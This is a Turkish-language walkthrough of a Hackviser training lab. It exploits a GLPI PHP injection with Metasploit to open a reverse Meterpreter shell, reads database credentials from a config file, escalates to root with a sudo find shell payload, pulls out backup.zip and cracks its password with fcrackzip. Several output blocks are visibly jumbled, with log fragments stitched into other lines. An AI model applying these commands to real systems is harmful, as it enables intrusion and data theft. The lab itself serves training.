

## FIND AND CRACK ISINMASI

**INFO:** Şifreli dosyaların kırılması, şifreleme algoritmalarının zayıf noktalarının istismar edilmesi veya şifreleme anahtarlarının deneme yanılma yöntemiyle tahmin edilmesiyle gerçekleştirilir.

Açık kaynaklı bir web uygulaması çalışan hedef makinede zafiyet araştırma, sisteme erişim, yetki yükseltme ve şifreli verilere erişim elde etme ile ilgili alıştırma yapmak için önerilir.

1. Kullanılan BT Varlık Yönetimi ve hizmet masası sistemi yazılımının adı nedir?

**Bilgi:** Sayfaya girildiğinde görülür.



2. Veritabanına bağlanmak için kullanılan kullanıcı adı nedir?

**Bilgi:** Veritabanına bağlanmak için bu yazılımın daha önce keşfedilen exploiti var mı diye bakıyoruz, baktığımızda exploite ulaşırız.

```
msf6 > use 0
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/glpi_htmlawed_php_injection) > set RHOSTS energysolutions.s.hv
RHOSTS => energysolutions.s.hv
msf6 exploit(linux/http/glpi_htmlawed_php_injection) > set LHOST 172.20.2.83
LHOST => 172.20.2.83
msf6 exploit(linux/http/glpi_htmlawed_php_injection) > exploit

[*] Started reverse TCP handler on 172.20.2.83:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Executing Nix Command for cmd/unix/python/meterpreter/reverse_tcp
[*] Sending stage (24772 bytes) to 172.20.2.203
[*] Meterpreter session 1 opened (172.20.2.83:4444 -> 172.20.2.203:38144) at 2024-09-12 12:57:32 -0500

meterpreter > GLPI Copyright (C) 2015-2022 Teclib' and contributors
```

Gerekli konfigürasyonları sağlayıp bu exploitten yararlanarak kullanıcı adına ulaşırız.

```
meterpreter > pwd
/var/www/html/glpi
meterpreter > cd /var/www/html/glpi/config
meterpreter > ls
Listing: /var/www/html/glpi/config
=====
Mode                Size      Type      Last modified          Name
----                -
100644/rw-r--r--    342      fil       2023-10-17 06:44:59 -0500 config_db.php
100644/rw-r--r--    32       fil       2023-10-17 06:44:59 -0500 glpicrypt.key
```

“config\_db.php” dosyasının içeriğini okuyarak sonuca ulaşıyoruz.

```
meterpreter > cat config_db.php
<?php
class DB extends DBmysql {
    public $dbhost = 'localhost';
    public $dbuser = 'glpiuser';
    public $dbpassword = 'glpi-password';
    public $dbdefault = 'glpi';
    public $use_timezones = true;
    public $use_utf8mb4 = true;
    public $allow_myisam = false;
    public $allow_datetime = false;
    public $allow_signed_keys = false;
```

### 3. Hangi komut sudo ayrıcalıkları ile çalıştırılabilir?

**Bilgi:** “sudo -l” komutu ile sudo ayrıcalıkları ile çalıştırılabilen komutları bulabiliriz. Burada “find” komutu sudo ayrıcalıkları ile çalıştırılabilir.

```
meterpreter > shell
Process 749 created.
Channel 2 created.
whoami
www-data
sudo -l
Matching Defaults entries for www-data on debian:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/bin\:/usr/sbin\:/bin\:/sbin\:/bin
User www-data may run the following commands on debian:
(ALL : ALL) NOPASSWD: /bin/find
```

### 4. backup.zip parolası nedir?

**Bilgi:** Öncelikle bu dosyanın nerede olduğu bulunur. Fakat şifreli, şifresini kırmak için öncelikle kendi makinemize indirmeye çalışacağız. Görevde parolası istenen "backup.zip" dosyasını tespit ettik ancak mevcut kullanıcımızın yetkilerinden dolayı dosya üzerinde herhangi bir şey yapmamıza izin vermiyor. Bu durumda görevi yerine getirebilmek için yetki yükseltmesi yapmamız gerekiyor.

Yetki yükseltme saldırıları ile ilgili payloadlar sağlayan GTFOBins adlı bir liste vardır.

GTFOBins Bağlantısı: <https://gtfobins.github.io/> Bizim hedef sistemimizde sudo yetkileriyle find komutunu çalıştırabildiğimiz için find komutu ile ilgili sayfaya gidiyoruz.

<https://gtfobins.github.io/gtfobins/find/> Find komutu kullanılarak yapılabilecek yetki yükseltme saldırılarının payloadlarını incelediğimizde sudo ile ilgili aşağıdaki payload işimizi görebilir.

## Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo find . -exec /bin/sh \; -quit
```

```
sudo find . -exec /bin/sh \; -quit me
whoami
root
cat /backup.zip
cat: /backup.zip: No such file or directory
cd /root
ls
backup.zip
GLPI Copyright (C) 2015-2022 Teclib' and contributors
```

Artık backup.zip dosyasına erişimimiz var ancak parolasını bulmamız gerekiyor.

```
backup.zip
unzip backup.zip
  skipping: monitors.csv          unable to get password
  skipping: computers.csv         unable to get password
  skipping: network-devices.csv   unable to get password
  skipping: printers.csv          unable to get password
Archive:  backup.zip
GLPI Copyright (C) 2015-2022 Teclib' and contributors
```

Bunun için öncelikle dosyayı kendi makinemize indirmeye çalışalım.

Öncelikle aşağıdaki komutu çalıştırarak 1337 portunda çalışan basit bir http server ayağa kaldıralım.

```
python3 -m http.server 1337
172.20.2.83 - - [12/Sep/2024 14:28:03] "GET / HTTP/1.1" 200 -
172.20.2.83 - - [12/Sep/2024 14:28:03] code 404, message File not found
172.20.2.83 - - [12/Sep/2024 14:28:03] "GET /favicon.ico HTTP/1.1" 404 -
python3 -m http.server 8080
172.20.2.83 - - [12/Sep/2024 14:29:02] "GET /backup.zip HTTP/1.1" 200 -
```

Ardından siteye giderek dosyayı makinemize indirelim.

```
Directory listing for /
< > ↻ 🏠 energysolutions.hv:1337
Hackviser

Directory listing for /

• .bash\_history
• .bashrc
• backup.zip
```

Şimdi zip kırma toolu ile şifresini kırmayı deneyelim.

```
[x]-[root@hackerbox]-[~] password
#cd Downloads to get password
[root@hackerbox]-[~/Downloads]ord
#ls          unable to get password
backup.zip
[root@hackerbox]-[~/Downloads]
#fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip
2024 14:28:03] code 404, message File not found
2024 14:28:03] "GET /favicon.ico HTTP/1.1" 404 -
PASSWORD FOUND!!!!: pw == asdf;lkj
[root@hackerbox]-[~/Downloads] HTTP/1.1" 200 -
#
```

Şifre bulundu.

5. *Kimin madencilik yaptığından şüpheleniliyor?*

**Bilgi:** Şifreyi bulduğumuza göre dosyayı okuyalım. Görüldüğü üzere “Ethan Friedman”dan şüpheleniliyor.

```
"IT-0004";"Ethan Friedman";"in use";"Lenovo";"Laptop";"Thinkpad 14";"Linux";"suspicious. he may be mining" "HQ";
"IT-0005";"Syeda Cortez";"in use";"Lenovo";"Laptop";"Thinkpad 14";"Linux";"";"HQ";
"Legal-001";"Dewey Gordon";"in use";"HP";"Laptop";"Pavilion 16";"Windows";"low cyber security awareness";"HQ";
"Sales-001";"Darcey Stephenson";"in use";"HP";"Laptop";"Pavilion 16";"Windows";"";"Branch Griffy";
"Sales-002";"Emilie Rosario";"in use";"HP";"Laptop";"Pavilion 16";"Windows";"";"Branch Griffy";able to get password
"Sales-003";"Oliwia Wheeler";"out of use";"HP";"Laptop";"Pavilion 16";"Windows";"low cyber security awareness";"Branch Griffy";
"test-1";"";"";"";"";"";"";"";"unknown";
"test-2";"";"";"";"";"";"";"";"unknown";
"test-3";"";"";"";"";"";"";"";"unknown";
```

-ISINMA TAMAMLANDI-

## Tebrikler

SweepingSpeedball56 Hackviser'ın Find and Crack ısınmasını başarıyla tamamladı